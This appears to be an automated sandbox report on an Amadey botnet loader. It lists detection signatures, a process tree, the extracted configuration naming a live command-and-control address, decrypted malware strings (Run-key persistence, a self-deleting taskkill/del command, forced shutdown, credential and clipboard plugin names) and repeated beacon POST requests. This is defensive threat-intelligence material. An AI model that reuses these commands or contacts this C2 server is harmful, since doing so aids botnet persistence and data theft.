Edit tour

Windows Analysis Report
ET3Sc57mx4.exe

Overview

General Information

Sample name:	ET3Sc57mx4.exe renamed because original name is a hash value
Original sample name:	43a2e7284798e5cc66f396fb174228dc.exe
Analysis ID:	1636871
MD5:	43a2e7284798e5cc66f396fb174228dc
SHA1:	cb838efcddf230727eadab5410b96429925cdc79
SHA256:	6ef7a6e85b08fa1827fa6bc09b9dc1c8eb7c10bb8758dbde2ed78dc0c1d86368
Tags:	exeuser-abuse_ch
Infos:

Detection

Amadey

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadey

Yara detected Amadeys Clipper DLL

C2 URLs / IPs found in malware configuration

Contains functionality to start a terminal service

Hides threads from debuggers

Joe Sandbox ML detected suspicious sample

PE file contains section with special chars

Potentially malicious time measurement code found

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Abnormal high CPU Usage

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Drops PE files

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

ET3Sc57mx4.exe (PID: 8520 cmdline: "C:\Users\user\Desktop\ET3Sc57mx4.exe" MD5: 43A2E7284798E5CC66F396FB174228DC)

rapes.exe (PID: 8720 cmdline: "C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe" MD5: 43A2E7284798E5CC66F396FB174228DC)

rapes.exe (PID: 6592 cmdline: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe MD5: 43A2E7284798E5CC66F396FB174228DC)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Malware Configuration

Threatname: Amadey

{"C2 url": "176.113.115.6/Ni9kiput/index.php", "Version": "5.21", "Install Folder": "bb556cff4a", "Install File": "rapes.exe"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000001.00000002.1370441731.0000000000641000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
00000000.00000002.1337689304.00000000007B1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
00000005.00000002.3745286948.0000000000641000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
decrypted.memstr	JoeSecurity_Amadey_4	Yara detected Amadey	Joe Security

Unpacked PEs

Source	Rule	Description	Author
0.2.ET3Sc57mx4.exe.7b0000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
5.2.rapes.exe.640000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
1.2.rapes.exe.640000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security

Suricata Signatures

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-13T08:15:15.970779+0100	2856147	1	A Network Trojan was detected	192.168.2.5	49719	176.113.115.6	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: ET3Sc57mx4.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe

Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000001.00000002.1370441731.0000000000641000.00000040.00000001.01000000.00000008.sdmp

Malware Configuration Extractor: Amadey {"C2 url": "176.113.115.6/Ni9kiput/index.php", "Version": "5.21", "Install Folder": "bb556cff4a", "Install File": "rapes.exe"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe

ReversingLabs: Detection: 57%

Multi AV Scanner detection for submitted file

Source: ET3Sc57mx4.exe	Virustotal: Detection: 68%			Perma Link
Source: ET3Sc57mx4.exe	ReversingLabs: Detection: 57%

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Sample uses string decryption to hide its real strings

Source: 00000001.00000002.1370441731.0000000000641000.00000040.00000001.01000000.00000008.sdmp	String decryptor: 176.113.115.6
Source: 00000001.00000002.1370441731.0000000000641000.00000040.00000001.01000000.00000008.sdmp	String decryptor: /Ni9kiput/index.php
Source: 00000001.00000002.1370441731.0000000000641000.00000040.00000001.01000000.00000008.sdmp	String decryptor: S-%lu-
Source: 00000001.00000002.1370441731.0000000000641000.00000040.00000001.01000000.00000008.sdmp	String decryptor: bb556cff4a
Source: 00000001.00000002.1370441731.0000000000641000.00000040.00000001.01000000.00000008.sdmp	String decryptor: rapes.exe
Source: 00000001.00000002.1370441731.0000000000641000.00000040.00000001.01000000.00000008.sdmp	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
Source: 00000001.00000002.1370441731.0000000000641000.00000040.00000001.01000000.00000008.sdmp	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
Source: 00000001.00000002.1370441731.0000000000641000.00000040.00000001.01000000.00000008.sdmp	String decryptor: Startup
Source: 00000001.00000002.1370441731.0000000000641000.00000040.00000001.01000000.00000008.sdmp	String decryptor: cmd /C RMDIR /s/q
Source: 00000001.00000002.1370441731.0000000000641000.00000040.00000001.01000000.00000008.sdmp	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Source: 00000001.00000002.1370441731.0000000000641000.00000040.00000001.01000000.00000008.sdmp	String decryptor: rundll32
Source: 00000001.00000002.1370441731.0000000000641000.00000040.00000001.01000000.00000008.sdmp	String decryptor: Programs
Source: 00000001.00000002.1370441731.0000000000641000.00000040.00000001.01000000.00000008.sdmp	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
Source: 00000001.00000002.1370441731.0000000000641000.00000040.00000001.01000000.00000008.sdmp	String decryptor: %USERPROFILE%
Source: 00000001.00000002.1370441731.0000000000641000.00000040.00000001.01000000.00000008.sdmp	String decryptor: cred.dll\|clip.dll\|
Source: 00000001.00000002.1370441731.0000000000641000.00000040.00000001.01000000.00000008.sdmp	String decryptor: cred.dll
Source: 00000001.00000002.1370441731.0000000000641000.00000040.00000001.01000000.00000008.sdmp	String decryptor: clip.dll
Source: 00000001.00000002.1370441731.0000000000641000.00000040.00000001.01000000.00000008.sdmp	String decryptor: http://
Source: 00000001.00000002.1370441731.0000000000641000.00000040.00000001.01000000.00000008.sdmp	String decryptor: https://
Source: 00000001.00000002.1370441731.0000000000641000.00000040.00000001.01000000.00000008.sdmp	String decryptor: /quiet
Source: 00000001.00000002.1370441731.0000000000641000.00000040.00000001.01000000.00000008.sdmp	String decryptor: /Plugins/
Source: 00000001.00000002.1370441731.0000000000641000.00000040.00000001.01000000.00000008.sdmp	String decryptor: &unit=
Source: 00000001.00000002.1370441731.0000000000641000.00000040.00000001.01000000.00000008.sdmp	String decryptor: shell32.dll
Source: 00000001.00000002.1370441731.0000000000641000.00000040.00000001.01000000.00000008.sdmp	String decryptor: kernel32.dll
Source: 00000001.00000002.1370441731.0000000000641000.00000040.00000001.01000000.00000008.sdmp	String decryptor: GetNativeSystemInfo
Source: 00000001.00000002.1370441731.0000000000641000.00000040.00000001.01000000.00000008.sdmp	String decryptor: ProgramData\
Source: 00000001.00000002.1370441731.0000000000641000.00000040.00000001.01000000.00000008.sdmp	String decryptor: AVAST Software
Source: 00000001.00000002.1370441731.0000000000641000.00000040.00000001.01000000.00000008.sdmp	String decryptor: Kaspersky Lab
Source: 00000001.00000002.1370441731.0000000000641000.00000040.00000001.01000000.00000008.sdmp	String decryptor: Panda Security
Source: 00000001.00000002.1370441731.0000000000641000.00000040.00000001.01000000.00000008.sdmp	String decryptor: Doctor Web
Source: 00000001.00000002.1370441731.0000000000641000.00000040.00000001.01000000.00000008.sdmp	String decryptor: 360TotalSecurity
Source: 00000001.00000002.1370441731.0000000000641000.00000040.00000001.01000000.00000008.sdmp	String decryptor: Bitdefender
Source: 00000001.00000002.1370441731.0000000000641000.00000040.00000001.01000000.00000008.sdmp	String decryptor: Norton
Source: 00000001.00000002.1370441731.0000000000641000.00000040.00000001.01000000.00000008.sdmp	String decryptor: Sophos
Source: 00000001.00000002.1370441731.0000000000641000.00000040.00000001.01000000.00000008.sdmp	String decryptor: Comodo
Source: 00000001.00000002.1370441731.0000000000641000.00000040.00000001.01000000.00000008.sdmp	String decryptor: WinDefender
Source: 00000001.00000002.1370441731.0000000000641000.00000040.00000001.01000000.00000008.sdmp	String decryptor: 0123456789
Source: 00000001.00000002.1370441731.0000000000641000.00000040.00000001.01000000.00000008.sdmp	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 00000001.00000002.1370441731.0000000000641000.00000040.00000001.01000000.00000008.sdmp	String decryptor: ------
Source: 00000001.00000002.1370441731.0000000000641000.00000040.00000001.01000000.00000008.sdmp	String decryptor: ?scr=1
Source: 00000001.00000002.1370441731.0000000000641000.00000040.00000001.01000000.00000008.sdmp	String decryptor: Content-Type: application/x-www-form-urlencoded
Source: 00000001.00000002.1370441731.0000000000641000.00000040.00000001.01000000.00000008.sdmp	String decryptor: SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName
Source: 00000001.00000002.1370441731.0000000000641000.00000040.00000001.01000000.00000008.sdmp	String decryptor: ComputerName
Source: 00000001.00000002.1370441731.0000000000641000.00000040.00000001.01000000.00000008.sdmp	String decryptor: abcdefghijklmnopqrstuvwxyz0123456789-_
Source: 00000001.00000002.1370441731.0000000000641000.00000040.00000001.01000000.00000008.sdmp	String decryptor: -unicode-
Source: 00000001.00000002.1370441731.0000000000641000.00000040.00000001.01000000.00000008.sdmp	String decryptor: SYSTEM\CurrentControlSet\Control\UnitedVideo\CONTROL\VIDEO\
Source: 00000001.00000002.1370441731.0000000000641000.00000040.00000001.01000000.00000008.sdmp	String decryptor: SYSTEM\ControlSet001\Services\BasicDisplay\Video
Source: 00000001.00000002.1370441731.0000000000641000.00000040.00000001.01000000.00000008.sdmp	String decryptor: VideoID
Source: 00000001.00000002.1370441731.0000000000641000.00000040.00000001.01000000.00000008.sdmp	String decryptor: DefaultSettings.XResolution
Source: 00000001.00000002.1370441731.0000000000641000.00000040.00000001.01000000.00000008.sdmp	String decryptor: DefaultSettings.YResolution
Source: 00000001.00000002.1370441731.0000000000641000.00000040.00000001.01000000.00000008.sdmp	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 00000001.00000002.1370441731.0000000000641000.00000040.00000001.01000000.00000008.sdmp	String decryptor: ProductName
Source: 00000001.00000002.1370441731.0000000000641000.00000040.00000001.01000000.00000008.sdmp	String decryptor: CurrentBuild
Source: 00000001.00000002.1370441731.0000000000641000.00000040.00000001.01000000.00000008.sdmp	String decryptor: rundll32.exe
Source: 00000001.00000002.1370441731.0000000000641000.00000040.00000001.01000000.00000008.sdmp	String decryptor: "taskkill /f /im "
Source: 00000001.00000002.1370441731.0000000000641000.00000040.00000001.01000000.00000008.sdmp	String decryptor: " && timeout 1 && del
Source: 00000001.00000002.1370441731.0000000000641000.00000040.00000001.01000000.00000008.sdmp	String decryptor: && Exit"
Source: 00000001.00000002.1370441731.0000000000641000.00000040.00000001.01000000.00000008.sdmp	String decryptor: " && ren
Source: 00000001.00000002.1370441731.0000000000641000.00000040.00000001.01000000.00000008.sdmp	String decryptor: Powershell.exe
Source: 00000001.00000002.1370441731.0000000000641000.00000040.00000001.01000000.00000008.sdmp	String decryptor: -executionpolicy remotesigned -File "
Source: 00000001.00000002.1370441731.0000000000641000.00000040.00000001.01000000.00000008.sdmp	String decryptor: shutdown -s -t 0
Source: 00000001.00000002.1370441731.0000000000641000.00000040.00000001.01000000.00000008.sdmp	String decryptor: random
Source: 00000001.00000002.1370441731.0000000000641000.00000040.00000001.01000000.00000008.sdmp	String decryptor: Keyboard Layout\Preload
Source: 00000001.00000002.1370441731.0000000000641000.00000040.00000001.01000000.00000008.sdmp	String decryptor: 00000419
Source: 00000001.00000002.1370441731.0000000000641000.00000040.00000001.01000000.00000008.sdmp	String decryptor: 00000422
Source: 00000001.00000002.1370441731.0000000000641000.00000040.00000001.01000000.00000008.sdmp	String decryptor: 00000423
Source: 00000001.00000002.1370441731.0000000000641000.00000040.00000001.01000000.00000008.sdmp	String decryptor: 0000043f

Source: ET3Sc57mx4.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.5:49719 -> 176.113.115.6:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

IPs: 176.113.115.6

Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 34 42 37 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A79B12B74B75882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 34 42 37 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A79B12B74B75882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 34 42 37 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A79B12B74B75882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 34 42 37 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A79B12B74B75882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 34 42 37 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A79B12B74B75882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 34 42 37 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A79B12B74B75882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 34 42 37 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A79B12B74B75882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 34 42 37 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A79B12B74B75882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 34 42 37 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A79B12B74B75882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 34 42 37 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A79B12B74B75882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 34 42 37 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A79B12B74B75882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 34 42 37 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A79B12B74B75882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
